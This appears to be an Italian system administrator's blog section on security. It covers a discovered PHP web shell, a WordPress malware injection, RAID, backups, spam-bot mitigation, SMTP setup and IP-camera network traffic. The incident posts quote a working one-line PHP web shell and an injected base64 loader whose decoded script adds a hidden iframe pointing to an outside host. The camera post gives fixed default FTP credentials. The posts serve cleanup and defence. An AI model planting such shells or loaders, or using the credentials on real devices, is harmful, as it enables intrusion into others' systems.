Archivi categoria: Sicurezza

Ancora un sito violato

Sicurezza, , , , , ,

Recentemente ho dovuto fare un po’ di manutenzione ad uno dei siti che gestisco. Per la precisione, era necessario aggiornare i meta tag delle pagine HTML, in modo da ottenere un ranking più elevato nei motori di ricerca (SEO).

backdoor.jpg

Dopo essere atterrato sullo spazio FTP riservato al suddetto sito, ho notato la presenza di una pagina recante un nome a dir poco sospetto:

xxx.php

il cui contenuto era semplice ma abbastanza esplicativo:

GIF89a
<?php system("$_GET[cmd]"); exit; ?>

In pratica la funzione system di php consente di richiamare dei comandi di sistema semplicemente mediante POST o, ancora più banalmente, mediante GET.

Per intenderci, utilizzando una URL forgiata nel seguente modo:

http://www.sito.com?ls

sarebbe stato possibile per l’attaccante listare il contenuto delle directory, oppure, mediante:

http://www.sito.com?ping%20indirizzoip

avrebbe potuto lanciare un ping verso una macchina specifica (il %20 è semplicemente lo spazio in URL encoding).

Ovviamente, i comandi a disposizione dell’attaccante sono tutti quelli usufruibili mediante la funzione system (e non soltato quelli da me riportati a titolo di esempio). Dunque la pagina in oggetto può essere intesa come una sorta di backdoor.

Fortunatamente, l’hosting provider ha pensato bene di disabilitare la suddetta funzione a livello di php.ini, editando il paramentro disable_functions:

Warning: system() has been disabled for security reasons in /web/htdocs/www.sito.com/home/xxx.php on line 2

Infine, ho brasato la pagina xxx.php ed ho modificato le credenziali di accesso allo spazio FTP.

E’ tutto.

PS: ogni tanto fare un ls della root dir del sito non sarebbe male, tanto per stare tranquilli.

XSS su WordPress

Sicurezza, , , , , , , , ,

Negli ultimi tempi si è verificato un aumento esponenziale degli attacchi verso la piattaforma WordPress. Ciò, secondo me, è dovuto essenzialmente a due fattori:

1) Diffusione su larga scala della suddetta piattaforma, che la rende più appetibile ai cracker;

2) Scarsa sensibilizzazione dei webmaster, i quali, troppo presi dalla grafica e dalla stesura del codice lato server, tendono a trascurare pensantemente le patch di sicurezza, solitamente incluse negli aggiornamenti dei plugin e del CMS.

malware.jpg

L’ultimo attacco XSS con cui ho avuto a che fare presentava il seguente codice PHP iniettato in tutte i file index.php:

<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vdmlkaW50ZXguY29tL2luY2x1ZGVzL2NsYXNzLnBvcC5waHAiPjwvaWZyYW1lPjwvZGl2PicpOzwvc2NyaXB0Pg==');} echo $_SERVER["HTTP_HOST"]; ?>

Inoltre, sullo spazio FTP, era presente il seguente file:

google_verify.php

utilizzato un po’ come firma, ovvero per fare in modo che il malware non infettasse il server più volte.

Mediante la decodifica della stringa in Base64 sono riuscito a ricavare questo codice javascrip:

<scrip>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</scrip>

In particolare, esso non fa altro che iniettare un iframe nella pagina vittima. La URL a cui punta l’iframe in questione è:

http://vidintex.com/includes/class.pop.php

la quale, contattata manualmente mediante browser, mi restituisce un bell’errore HTTP 404 (not found). Ciò mi lascia pensare che l’attacco descritto in questo post si sviluppa in due fasi:

1) durante la prima fase vengono compromessi N server (ad esempio attraverso un attacco RFI), che verranno utilizzati come target dell’iframe;

2) successivamente, nella seconda fase, verrà perpetrato l’attacco XSS vero e proprio.

Ergo, quel not found indica semplicemente che uno dei server coinvolti nella prima fase è stato ripulito e patchato. Incuriosito, sono andato a cercare il codice sorgente della pagina class.pop.php, che potete consultare qui. Essa non fa altro che gestire le varie fasi che riguardano la connessione ad un server POP3. Indovinate cosa mi ha restituito un nmap verso vidintex.com?

Starting Nmap 5.00 ( http://nmap.org ) at 2013-01-15 10:28 CET
 Interesting ports on silver.sakma.com (217.113.244.170):
 Not shown: 848 closed ports, 142 filtered ports
 PORT     STATE SERVICE
 21/tcp   open  ftp
 22/tcp   open  ssh
 53/tcp   open  domain
 80/tcp   open  http
 110/tcp  open  pop3
 443/tcp  open  https
 993/tcp  open  imaps
 995/tcp  open  pop3s
 3306/tcp open  mysql
 8443/tcp open  https-alt

ovvero la porta 110 (POP3) è in ascolto sul server. Quindi, mediante questo giochetto, i cracker possono tentare l’accesso al demone di posta ospitato sul server Web, in modo semi-automatizzato e nascondendo le proprie tracce (l’IP sorgente sarà sempre e comunque localhost). Intendo precisare che le mie sono solo congetture, per avere informazioni più dettagliate dovrei studiare ulteriori casi. A tal proposito, se ne avete, fornitemeli (solo se la URL punta a class.pop.php).

Alla prossima.

RAID

Sicurezza, , , , , , , , , ,

Premessa

In questo post ho descritto a grandi linee le diverse politiche di backup ed il motivo per il quale esse sono estramemente importanti. Però, per ciò che concerne la tolleranza ai guasti, soprattutto se si parla di memorie di massa, la prima cosa da fare riguarda la scelta del tipo di RAID da implementare.

Bhè, chiunque abbia mai avuto a che fare con dei server sa sicuramente di cosa sto parlando. Per fare una brevissima introduzione, l’acronimo RAID sta per Redundant Array of Indipendent Disks oppure Redundant Array of Inexpensive Disks, poichè tale sistema è stato pensato per avere ridondanza e per ottenere dischi logici di grandi dimensioni a partire da unità di piccole/medie dimensioni (quindi meno costose).

Inoltre, sono previste diverse tipologie di RAID, ciascuna delle quali presenta delle caratteristiche peculiari, da cui è possibile dedurne i vantaggi e soprattutto gli svantaggi.

RAID a livello hardware oppure a livello software?

Sia ben chiaro che per quanto riguarda i primissimi sistemi RAID, ne era possibile l’implementazione solo a livello hardware, utilizzando opportuni controller. Con l’evolversi della tecnologia sono nati anche dei sistemi software in grado di emulare il comportamento dei suddetti controller. Va detto, però, che essi sono meno performanti dal punto di vista prestazionale. Ergo, se dovete scegliere e non avete budget molto ristretti, il mio consiglio è quello di optare sempre per il RAID hardware.

Livelli RAID

La caratteristica peculiare del RAID è la possibilità di salvare i dati su più unita di archiviazione di massa, facendo diminuire i tempi di accesso (I/O). Tale operazione si chiama, in gergo, data striping.

Altra caratteristica fondamentale dei sistemi RAID è la ridondanza e la tolleranza ai guasti (tranne per il RAID 0).

Detto ciò, vediamo nel dettaglio quali sono i tratti somatici di ciascun livello RAID.

RAID 0

Esso non è proprio un livello RAID a tutti gli effetti. Mi spiego: poichè i sistemi RAID sono nati per offire ridondanza e dato che il RAID 0 non offre tale possibilità, parlare di RAID sembra quasi una forzatura.

Infatti, il RAID 0 consente solo ed esclusivamente di creare un’unità logica di dimensione C a partire da N unità di dimensione D (con N maggiore o uguale a 2). La capacità C sarà data (molto banalmente) dalla formula:

C=N*D

 

raid0.jpg

Vantaggi: economico.

Svantaggi: non offre tolleranza ai guasti.

RAID 1

Tale sistema viene anche detto mirroring o shadowing. Esso non fa altro che creare una copia speculare del contenuto di un disco rigido su un altro hard disk. Da ciò si deduce che il numero di dischi da configurare in RAID 1 deve essere pari. Inoltre, la capacità totale sarà pari a quella di un singolo disco (l’altro viene usato solo per la tolleranza ai guasti).

 

raid1.gif

Vantaggi: alta tolleranza ai guasti.

Svantaggi: costo elevato.

RAID 2

Il RAID 2 prevede il data striping a livello di bit. Dunque, da più unità fisiche se ne ricava una logica. Offre, inoltre, una politica di correzione degli errori relativi al singolo bit (grazie al codice di Hamming) e di individuazione (ma non correzione) di errori doppi.

 

raid2.jpg

Vataggi: alte performance in sistemi in cui si verificano molti errori durante la fase di I/O.

Svantaggi: performance ridotte in tutti gli altri casi.

RAID 3

Tale sistema (come il RAID 4) è poco utilizzato. Prevede il data striping a livello di byte, dunque tempi di accesso elevati (il byte viene “spalmato” sui dischi, ergo il tempo di accesso per ogni singolo disco va moltiplicato per il numero di unità coinvolte ed in questo modo si ottiene il tempo di accesso reale).

Prevede un meccanismo di tolleranza ai guasti, grazie ad un disco dedicato su cui vengono salvate le informazioni relative al controllo di parità.

 

raid3.jpg

Vantaggi: tolleranza ai guasti.

Svantaggi: tempi di accesso elevati, può sopperire al guasto di un solo disco affinchè i dati possano essere ripristinati. Quindi, se si guastano due dischi contemporaneamente, tutti i dati verranno persi.

RAID 4

Poco utilizzato. Differisce dal RAID 3 solo perchè il data striping avviene a livello di blocco e non di byte. In questo modo vengono risolti i problemi relativi ai lunghi tempi di accesso tipici del RAID 3.

 

raid4.jpg

Vantaggi: tempi di accesso ragionevoli, tolleranza ai guasti.

Svantaggi: se si guastano due dischi contemporaneamente i dati verranno persi.

RAID 5

Una vera e propria rivoluzione. Infatti, esso non prevede dei dischi dedicati per il controllo di parità, ma tali informazioni vengono salvate assieme ai dati veri e propri. Purtroppo, però, come già visto per il RAID 3 e per il RAID 4, non è in grado di ripristinare i dati nel caso in cui si guastassero due o più dischi contemporaneamente.

 

raid5.gif

Vantaggi: eliminazione del bottleneck rappresentato dal disco dedicato al controllo di parità.

Svantaggi: operazioni di scrittura lente a causa del calcolo della parità.

RAID 6

Può essere definito “RAID 5 più qualcosa” e quel qualcosa è rappresentato dalla ridondanza del controllo di parità. Infatti, i dati relativi al controllo di parità per uno specifico blocco vengono salvati su due dischi differenti, seguendo direzioni opposte. A titolo di esempio, se l’array è formato dai dischi A B C D e la scrittura avviene sul disco B, il controllo di parità sarà memorizzato su A e su C.

 

RAID6.jpg

Vantaggi: alta tolleranza ai guasti.

Svantaggi: costoso poichè implica l’uso di un controller ad hoc che lo supporti.

RAID annidati

L’ultima frontiera del RAID è rappresentata dalla possibilità di utilizzare diverse tipologie in modo annidato.

Ad esempio, per ciò che concerne il RAID 0+1 (la seguente figura si legge dal basso verso l’alto), è possibile prevedere il mirroring direttamente sulle unità logiche create attraverso il RAID di tipo 0.

                               RAID 1
┌——————┴————————┐
RAID 0                             RAID 0
┌—————┼—————┐     ┌—————┼—————┐
120GB   120GB  120GB      120GB   120GB  120GB

Due parole sugli spare

Quasi tutti i sistemi RAID che vi ho illustrato (per la precisione tutti tranne il RAID 0) supportano l’hot spare. Questo significa che può essere allocato su uno slot un disco vuoto aggiuntivo, il quale verrà utilizzato automaticamente nel caso in cui una delle memorie di massa che costituiscono l’array si guasti. La differenza tra l’hot spare ed il cold spare sta semplicemente nel fatto che, nell’ultimo caso, il povero sistemista di turno dovrà sostituire il disco guasto con uno vuoto (spegnendo il sistema durante la fase di manutenzione).

Il post termina qui.

Bye.

Tipologie di backup

Sicurezza, , , , ,

La sicurezza non riguarda solo ed esclusivamente la robustezza di una macchina nei confronti degli attacchi sferrati dal cracker di turno. La sicurezza prevede che i dati presenti su di essa siano integri e sempre disponibili (soprattutto per ciò che concerne i server a maggiore criticità).

backup.jpg

Ciò significa che devono essere previste le giuste politiche di:

1) tolleranza ai guasti;

2) alta disponibilità;

3) backup;

4) disaster recovery.

Provate ad immaginare cosa accadrebbe se il CED fosse a corto di alimentazione elettrica, oppure si allagasse o crollasse? Disservizi a tonnellate.

Proprio per scongiurare questi problemi, la prima cosa da fare è effettuare uno o più backup dei dati importanti in modo sistematico e periodico.

Esistono, fondamentalmente, tre modalità di backup, ovvero:

1) full;

2) incremental;

3) differential.

La prima parla da sè: prendo tutti i dati e ne faccio una copia di backup su un supporto dedicato (nastro magnetico, HD elettromeccanico, NAS o quel che si preferisce). Per quanto mi riguarda, i backup che gestisco vengono eseguiti settimanalmente, ovvero ogni settimana ne faccio uno completo su un NAS e la loro profondità totale (per ragioni di spazio e di budget) è pari ad un mese. Questo significa che sul disco terrò 4 full backup settimanali (eseguiti, ovviamente, a distanza di una settimana l’uno dall’altro), dopodichè i dati verranno sovrascritti.

La seconda tipologia (incremental), crea una copia di tutto ciò che è cambiato dall’ultimo full backup (questo riguarda solo il primo incremental backup) e, dal secondo in poi, verranno presi in considerazione solo i cambiamenti dall’ultimo incremental eseguito. Ergo, la modalità append (per il salvataggio dei dati) è quella da seguire necessariamente.

La terza tipologia prende in considerazione solo i cambiamenti dall’ultimo full backup. Quindi, avendo solo quest’ultimo come riferimento, è possibile salvare i dati in overwrite. Essa è, inoltre, la modalità da me scelta per l’esecuzione dei backup giornalieri.

Buon backup a tutti e ricordate che Murphy è sempre dietro l’angolo.

Alla prossima.

Spam bot sui server Web

Sicurezza, , , , , , , , ,

Scenario

Due server Web in produzione, SO *nix e framework Drupal.

Problema

Una tonnellata di email dirette agli indirizzi di posta elettronica più disparati.

Premessa

Riassumendo, è proprio questo il problema che si è verificato nei giorni scorsi su alcuni server che gestisco. Ora, affinchè lo spam bot possa funzionare è indispensabile che sulla macchina sia installato ed in esecuzione un MTA, magari senza autenticazione. Si, lo so, non prevedere alcun meccanismo di autenticazione per le email in uscita è altamente sconsigliato, ma dipende strettamente da quello che ci devi fare. Mi spiego: su quelle macchine le uniche email che devono essere inviate sono quelle generate da alcuni strumenti di monitoring, quali logwatch, rkhunter e compagnia bella. Ergo, in realtà, l’MTA non fa altro che appoggiarsi ad uno smarthost per l’inoltro della posta elettronica, fornito dall’hosting provider (ed il cui unico filtro è rappresentato dall’indirizzo IP sorgente). In soldoni, se la richiesta proviene da un IP appartenente al pool della LAN relativa all’hosting provider, la mail viene inviata, altrimenti nisba.

 

spambot.jpg

Detto ciò, è bene precisare che l’MTA attivo su quelle macchine è exim e non Postfix (per una semplice ragione di dimestichezza, ovvero conosco meglio il primo rispetto al secondo).

Soluzione

La prima cosa che ho notato listando il contenuto delle directory su cui sono ospitati i siti Web è stata la presenza di file tipici di WordPress, ad esempio wp-config.php. Si, esatto, questo spam bot è stato pensato per ambienti WP, come abbia fatto ad intrufolarsi in un framework Drupal devo ancora scoprirlo. Quello che so, però, è che si comporta sempre allo stesso modo: infetta il server, prende possesso dell’MTA ed invia email a più non posso.

Dunque, come potete facilmente immaginare, per arginare il problema ho impostato determinate ACL su exim, definendole in base all’indirizzo email di destinazione. Infatti, poichè le email di monitoring sono destinate esclusivamente a me ed al webmaster, è bastato inserire la seguente direttiva nel file di configurazione dell’MTA in questione:

accept  hosts = vostro.indirizzo1@email.it : vostro.indirizzo2@email.it

Per rendere effettive tali modifiche è stato necessario riavviare exim:

[root@bqweb2 ~]# service exim restart

Non conoscendo il baco che ha consentito al malware di infiltrarsi sui server, ho deciso anche di tirar su uno scrip bash che controllasse il contenuto delle dir target ed in caso di anomalie mi inviasse un’apposita email. In questo modo ho realizzato un sistema di sicurezza proattivo.

Ecco lo scrip:

#!/bin/bash

destinatario=vostro.indirizzo@email.it

cd /var/www/

grep -HR "wp-config.php" * > botcheck;

if [ -s botcheck ];then

cat botcheck | mail -iv -s "Server Bqweb2 Infected!" $destinatario;

fi

rm botcheck;

exit 0;

Esso non fa altro che andare alla ricerca del file wp-config.php. Se lo trova mi avvisa in modo tale da poter fare pulizia della directory.

Appena avrò maggiori info sul baco che ha consentito allo spam bot di infilarsi sulle mie macchine le pubblicherò.

Alla prossima.

Configurazione ottimale di un server SMTP

Sicurezza, , , , , , , , , , ,

Configurare al meglio un server SMTP non è una cosa semplice, soprattutto quando tale server si appoggia ad una normalissima linea ADSL. Infatti, la maggior parte dei mail provider utilizza tutta una serie di policy per limitare l’enorme mole di spam che, giornalmente, cerca di atterrare sui loro server.

 

smtp.jpg

Una di queste rende la vita difficile a tutti coloro che utilizzano una linea ADSL che prevede il rilascio di un IP pubblico dinamico, ovvero che varia ogni qual volta il router/modem si disconnette/riconnette. Per la precisione, i server dei mail provider controllano che l’IP del server SMTP che fa richiesta di inoltro email su una casella di posta che risiede sul loro POP3/IMAP4 abbia un record PTR associato.

Ora, senza addentrarmi troppo nei meandri del protocollo DNS e dei vari tipi di record che esso gestisce, per verificare che il nostro server SMTP abbia un record PTR associato è sufficiente lanciare il comando:

 nightfly@nightbox:~$ host smtp.nostrodominio.com
 smtp.nostrodominio.com has address 212.41.43.43

e successivamente:

 nightfly@nightbox:~$ host 212.41.43.43
 43.43.41.212.in-addr.arpa domain name pointer smtp.nostrodominio.it

Nel primo caso ho effettuato una query DNS diretta, richiedendo l’IP associato ad un determinato FQDN. Nel secondo caso, invece, ho eseguito una query DNS inversa, identificando un eventuale FQDN associato a quel particolare IP.

Ora, il comando host non è l’unico in grado di effettuare una query di questo tipo. Ad esempio, si potrebbe utilizzare dig oppure nslookup, a seconda del sistema operativo dal quale tale operazione viene effettuata.

Con dig potremmo lanciare una query diretta del tipo:

nightfly@nightbox:~$ dig smtp.nostrodominio.com

; <<>> DiG 9.7.0-P1 <<>> smtp.nostrodominio.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19912
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 13, ADDITIONAL: 0

;; QUESTION SECTION:
;smtp.nostrodominio.com.               IN      A

;; ANSWER SECTION:
smtp.nostrodominio.com.        41481   IN      A       212.41.43.43

;; AUTHORITY SECTION:
.                       427597  IN      NS      h.root-servers.net.
.                       427597  IN      NS      a.root-servers.net.
.                       427597  IN      NS      c.root-servers.net.
.                       427597  IN      NS      i.root-servers.net.
.                       427597  IN      NS      m.root-servers.net.
.                       427597  IN      NS      f.root-servers.net.
.                       427597  IN      NS      j.root-servers.net.
.                       427597  IN      NS      k.root-servers.net.
.                       427597  IN      NS      l.root-servers.net.
.                       427597  IN      NS      d.root-servers.net.
.                       427597  IN      NS      g.root-servers.net.
.                       427597  IN      NS      e.root-servers.net.
.                       427597  IN      NS      b.root-servers.net.

;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Fri Dec 21 10:41:15 2012
;; MSG SIZE  rcvd: 260

Mentre, per la query inversa, è sufficiente lanciare il comando:

nightfly@nightbox:~$ dig -x  212.41.43.43

; <<>> DiG 9.7.0-P1 <<>> -x 212.41.43.43
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65061
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 13, ADDITIONAL: 0

;; QUESTION SECTION:
;43.43.41.212.in-addr.arpa.    IN      PTR

;; ANSWER SECTION:
43.43.41.212.in-addr.arpa. 79146 IN    PTR     smtp.nostrodominio.com.

;; AUTHORITY SECTION:
.                       427408  IN      NS      j.root-servers.net.
.                       427408  IN      NS      g.root-servers.net.
.                       427408  IN      NS      i.root-servers.net.
.                       427408  IN      NS      d.root-servers.net.
.                       427408  IN      NS      m.root-servers.net.
.                       427408  IN      NS      a.root-servers.net.
.                       427408  IN      NS      e.root-servers.net.
.                       427408  IN      NS      k.root-servers.net.
.                       427408  IN      NS      b.root-servers.net.
.                       427408  IN      NS      c.root-servers.net.
.                       427408  IN      NS      l.root-servers.net.
.                       427408  IN      NS      f.root-servers.net.
.                       427408  IN      NS      h.root-servers.net.

;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Fri Dec 21 10:44:24 2012
;; MSG SIZE  rcvd: 285

E’ molto importante che nell’output relativo al suddetto comando, il contenuto di ;; ANSWER SECTION: non sia nullo. In quest’ultimo caso, infatti, significherebbe che il nostro server SMTP non è dotato di un record PTR e quindi, molto probabilmente, le email che cercherà di inoltrare a certi provider verranno respinte (bounced).

Ora, solitamente i record PTR non sono supportati dai DNS provider (uno su tutti GoDaddy), ma la loro gestione è a carico dell’ISP, poichè tali record sono direttamente associati agli indirizzi IP pubblici che quest’ultimo rilascia ai propri clienti.

Ma perchè controllare se esiste un record PTR associato all’indirizzo IP del nostro server SMTP? Su che cosa si basa la logica di questo sistema antispam elementare? Semplice: poichè gli IP che generano moli abnormi di email vengono inseriti all’interno di opportune blacklist (come SpamCop o SpamHouse), che, a loro volta, vengono consultate insistentemente dai mail provider per capire quali sono i server di posta che generano spam, nel caso in cui l’IP pubblico di un server SMTP fosse dinamico, basterebbe una connessione/disconnessione del router per aggirare tale blocco. Quindi, facendo una query DNS inversa, i server dei mail provider verificano che il PTR (se esiste) non contenga alcune keyword, quali dynamic, dyn, ecc.

Alcuni mail provider hanno definito delle regole un po’ più restrittive rispetto alla semplice risoluzione inversa dell’IP. Una di queste prevede che il banner del server SMTP che li contatta contenga un FQDN che sia identico a quello riportato nel record PTR.

Potete identificare il banner del vostro server SMTP utilizzando telnet, con il seguente comando:

C:\Userseldo>telnet smtp.nostrodominio.com 25

Il banner conterrà il prefisso 220 seguito dall’FQDN del server:

220 smtp.nostrodominio.com

Altro fattore molto importante da tenere in considerazione quando si configura un server SMTP riguarda la sicurezza. Infatti, è estremamente importante che il server preveda dei meccanismi di autenticazione prima di consentire l’inoltro di email (open relay, anyone?) e soprattutto utilizzi dei canali di comunicazione cifrati. In quest’ultimo caso, se il protocollo SMTP viene utilizzato in modo “standard”, l’invio delle credenziali da parte dell’utente avviene in chiaro, con pesanti risvolti dal punto di vista della confidenzialità. Per evitare ciò, è possibile costringere il server ad utilizzare SSL/TLS come protocollo di cifratura per tutte le connessioni inbound, oppure, se il server lo consente, utilizzare STARTTLS, molto più comodo e performante. Infatti, a differenza della cifratura SSL/TLS classica, la quale prevede l’apertura di una porta TCP apposita, ovvero la 456 (differente dalla classica TCP 25), con una maggiore mole di lavoro lato networking, il protocollo STARTTLS rende sicuro un canale nativamente non sicuro, rimanendo in ascolto sulla porta 25 ed appoggiandosi al protocollo SSL o TLS in base alla configurazione scelta (si, lo so, il nome STARTTLS può trarre in inganno).

Altro aspetto importante riguardante la sicurezza si basa sulla definizione dei domini autorizzati ad inoltrare le email. Non è un caso che fino a qualche anno fa, mail server di alcuni ISP italiani, come Telecom oppure Libero, consentissero, dopo la fase di autenticazione, di inoltrare email con dominio sorgente arbitrario. Mi spiego meglio: dopo la connessione ad uno dei suddetti server mediante un comunissimo client telnet, era possibile impostare arbitrariamente il campo MAIL FROM:, ad esempio presidente@governoitaliano.it. Ovviamente, non essendoci filtri, la mail sarebbe giunta a destinazione nonostante l’indirizzo mittente fraudolento (una manna per il phishing).

In definitiva, se volete testare la configurazione del vostro server SMTP potete utilizzare questo tool online:

http://mxtoolbox.com/diagnostic.aspx

Enjoy!

WI-FI IP camera made in China: ennesima stranezza

Sicurezza, , , , , , ,

Ok, avete ragione, sono un maledettissimo freak control. Però non è colpa mia se questo aggeggio continua a comportarsi in modo strano. Infatti, oltre a questa anomalia, ho notato che ogni tanto prova a contattare l’ennesimo server cinese, questa volta un nameserver (almeno sulla carta).

Inoltre, molto probabilmente quel nameserver (sempre se di nameserver si tratta) è di proprietà del costruttore di questi aggeggi, tant’è che un semplice whois mi ha rivelato le seguenti informazioni:

nightfly@nightbox:~$ whois 211.154.141.240
% [whois.apnic.net node-1]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

inetnum:        211.154.128.0 - 211.154.159.255
netname:        ChinaMotion
country:        CN
descr:          China Motion Network Communication
descr:          9F,Yu Hua Industrial & Trading Building,Bao Gang Rd.
descr:          Luo Hu District,Shenzhen, Guangdong Province
admin-c:        BY158-AP
tech-c:         BY158-AP
status:         ALLOCATED PORTABLE
mnt-by:         MAINT-CNNIC-AP
mnt-lower:      MAINT-CNNIC-AP
mnt-irt:        IRT-CNNIC-CN
mnt-routes:     MAINT-CNCGROUP-RR
changed:        hm-changed@apnic.net 20060523
source:         APNIC

person:         Binghua Yang
nic-hdl:        BY158-AP
e-mail:         idc-service@hotmail.com
address:        9F,Yu Hua Industrial & Trading Building,Bao Gang Rd.Luo
address:        Hu District,Shenzhen
phone:          +86-0755-82189782
fax-no:         +86-755-82189789
country:        CN
changed:        shenzhi@cnnic.cn 20041126
changed:        ipas@cnnic.net.cn 20070514
mnt-by:         MAINT-CN-CMNET
source:         APNIC

Ma bando alle ciance, ecco cosa succede sniffando un pò di pacchetti con tcpdump:

18:13:28.222925 IP 10.1.x.x.3072 > 8.8.8.8.53: 125+ A? dns.camcctv.com. (33)
        0x0000:  4500 003d 62c7 4000 4011 bcd3 0a01 0105  E..=b.@.@.......
        0x0010:  0808 0808 0c00 0035 0029 af81 007d 0100  .......5.)...}..
        0x0020:  0001 0000 0000 0000 0364 6e73 0763 616d  .........dns.cam
        0x0030:  6363 7476 0363 6f6d 0000 0100 01         cctv.com.....
18:13:28.288413 IP 8.8.8.8.53 > 10.1.x.x.3072: 125 1/0/0 A[|domain]
        0x0000:  4500 004d a392 0000 2f11 ccf8 0808 0808  E..M..../.......
        0x0010:  0a01 0105 0035 0c00 0039 28b5 007d 8180  .....5...9(..}..
        0x0020:  0001 0001 0000 0000 0364 6e73 0763 616d  .........dns.cam
        0x0030:  6363 7476 0363 6f6d 0000 0100 01c0 0c00  cctv.com........
        0x0040:  0100 0100 0009 6800 04d3 9a8d            ......h.....
18:13:28.325038 IP 10.1.x.x.3072 > 211.154.141.240.2011: UDP, length 84
        0x0000:  4500 0070 0000 4000 4011 cdec 0a01 0105  E..p..@.@.......
        0x0010:  d39a 8df0 0c00 07db 005c e3b5 4d4f 5f48  ...........MO_H
        0x0020:  0000 0000 3738 2d41 352d 4444 2d30 342d  ....78-A5-DD-04-
        0x0030:  4138 2d33 4500 0000 3130 2e31 2e31 2e35  A8-3E...10.1.x.x
        0x0040:  0000 0000 0000 0000 0000 0000            ............

Che significa tutto ciò? Brevemente: dapprima manda una query DNS di tipo A al suo nameserver primario (8.8.8.8), richiedendo l’IP associato all’hostname dns.camcctv.com:

18:13:28.222925 IP 10.1.x.x.3072 > 8.8.8.8.53: 125+ A? dns.camcctv.com

La risposta alla suddetta query è la seguente:

18:13:28.288413 IP 8.8.8.8.53 > 10.1.x.x.3072: 125 1/0/0 A[|domain]

Una volta individuato l’indirizzo IP di dns.camcctv.com (ovvero 211.154.141.240) procede con l’invio, verso la porta UDP 2011, del proprio MAC address e del proprio indirizzo IP locale.

Facendo due più due il conto è presto fatto: con il dyndns abilitato di default, l’IP pubblico del network a cui la telecamera appartiene diventa di dominio pubblico (e soprattutto di dominio del costruttore). A questo aggiungeteci le info che manda a quel nameserver e praticamente, nel caso in cui ci fosse una qualche backdoor all’interno del codice dell’interfaccia Web di cui è dotata, il costruttore (o chi per lui) avrebbe la possibilità di accedere liberamente alla nostra IP camera. A questo aggiungeteci l’eventualità che tutto il traffico in ingresso su quella porta del nameserver potrebbe essere loggato, rilevando quindi l’indirizzo IP pubblico della rete a cui appartiene la telecamera.

Ora, poichè tale device ha un server FTP integrato, mi sono preso la briga di accedervi e di scaricare in locale tutte le pagine Web (.htm) che concorrono al funzionamento dell’interfaccia di gestione. Inutile dire che non ci ho trovato granchè, anche perchè tutte le modifiche alla configurazione vengono effettuate mediante delle chiamate AJAX a determinate pagine *.xml (che, naturalmente, non sono scaricabili).

Infatti, per capire cosa sia possibile fare tramite delle semplici chiamate alle suddette pagine, è sufficiente consultare questo documento:

IPCamera_AJAX (English Translation) – GadgetVictimsCom.pdf

Per completezza, se volete provare ad accedere al suddetto server FTP (della vostra telecamera, non di certo della mia) è necessario:

1) utilizzare un client ben preciso, ovvero CuteFTP (con tutti gli altri, client FTP Linux da CLI, client FTP Windows da CLI, FireFTP, eccetera, il demone della telecamera crasha miseramente);

2) loggarsi con username MayGion e con password maygion.com (credenziali case sensitive e non modificabili – dove maygion è il produttore del firmware).

Come ho risolto? Di nuovo, regola Iptables del tipo:

iptables -A FORWARD -i eth1 -o eth0 -p udp -d 211.154.141.240 –dport 2011 -j DROP

Sto anche monitorando tutto il traffico diretto alla porta HTTP della telecamera, vediamo cosa ne verrà fuori.

Alla prossima.

Aggiornamento del 16/12/2012

A quanto pare l’hostname dns.camcctv.com è qualcosa di hard coded all’inteno dei sorgenti del firmware (a giudicare dal questo 3D). Inoltre, sembra che si tratti dell’ennesimo servizio di DDNS ma, non essendoci alcuna opzione che mi consenta di disabilitarlo via interfaccia Web, lo terrò comunque in DROP.

WI-FI IP camera (made in China) ed il traffico di rete “anomalo”

Sicurezza, , , , , , ,

Che io sia paranoico è risaputo, soprattutto se mi ritrovo ad aver a che fare con hardware made in China. Diciamo anche che nella mia rete tendo a tenere sotto controllo tutto il traffico, sia in entrata che in uscita.

Per farla breve, ho installato questa IP camera WI-FI ed ho iniziato a monitorare, mediante Iptables, tutto il traffico in uscita. Ecco uno stralcio del file di log:

Dec 10 14:04:25 nightbox kernel: [3094903.376462] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=41186 DF PROTO=TCP SPT=3755 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Dec 10 14:10:39 nightbox kernel: [3095278.163044] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=20423 DF PROTO=TCP SPT=4005 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Dec 10 14:10:42 nightbox kernel: [3095281.160190] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=20424 DF PROTO=TCP SPT=4005 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
Dec 10 14:16:40 nightbox kernel: [3095639.086794] HTTP direct traffic: IN=eth1 OUT=eth0 SRC=10.1.x.x DST=58.61.155.158 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=26618 DF PROTO=TCP SPT=4724 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0
